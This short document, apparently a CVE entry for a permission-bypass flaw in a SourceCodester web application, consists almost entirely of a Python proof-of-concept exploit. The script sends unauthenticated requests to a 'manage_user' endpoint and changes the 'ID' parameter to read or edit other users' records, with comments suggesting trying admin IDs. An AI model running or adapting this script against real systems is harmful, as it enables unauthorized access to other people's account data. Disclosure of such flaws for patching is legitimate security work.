CVE-2026-5326 SourceCodester权限绕过漏洞

import requests # Target URL of the vulnerable endpoint target_url = "http://target-host/index.php?page=manage_user" # The vulnerability lies in the 'ID' parameter. # By changing this ID, an attacker can access other users' data without authorization. payload = { "ID": "1", # Try changing to other user IDs (e.g., 2, 3, admin_id) "action": "edit" # or 'view', depending on the application logic } try: # Sending the request without authentication or with low privilege response = requests.get(target_url, params=payload, timeout=10) if response.status_code == 200: print("[+] Request successful!") print("[+] Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")